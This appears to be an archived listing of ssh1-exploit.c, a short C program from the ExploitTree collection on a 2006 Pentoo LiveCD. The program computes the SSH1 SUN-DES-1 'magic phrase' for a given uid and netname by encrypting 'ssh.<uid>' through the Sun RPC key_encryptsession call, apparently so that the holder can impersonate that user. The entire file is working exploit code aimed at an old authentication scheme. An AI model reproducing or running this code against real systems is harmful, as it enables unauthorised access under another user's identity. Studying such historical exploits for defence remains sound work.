home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ssh / ssh1-exploit.c < prev   
C/C++ Source or Header  |  2005-02-12  |  698b  |  33 lines

  1. #include <stdio.h>
  2. #include <rpc/rpc.h>
  3.  
  4. void die (char *msg)
  5. {
  6.   fprintf(stderr,"%s\n",msg);
  7.   exit(1);
  8. }
  9.  
  10. main (int argc, char **argv)
  11. {
  12.   char buf[MAXNETNAMELEN + 1];
  13.   des_block block;
  14.   uid_t uid;
  15.   char *netname;
  16.  
  17.   if (argc < 3)
  18.     die("supply uid and netname");
  19.  
  20.   sscanf(argv[1], "%d", &uid);
  21.   netname = argv[2];
  22.   memset(buf, 0, sizeof(buf));
  23.   snprintf(buf, sizeof(buf), "ssh.%04X", uid);
  24.   memcpy(block.c, buf, sizeof(block.c));
  25.   if (key_encryptsession(netname, &block) != 0)
  26.     die("key_encryptsession failed");
  27.   printf("SUN-DES-1 magic phrase (uid %d, netname %s):\n  %08X%08X\n",
  28.          uid,
  29.          netname,
  30.          ntohl(block.key.high),
  31.          ntohl(block.key.low));
  32. }
  33.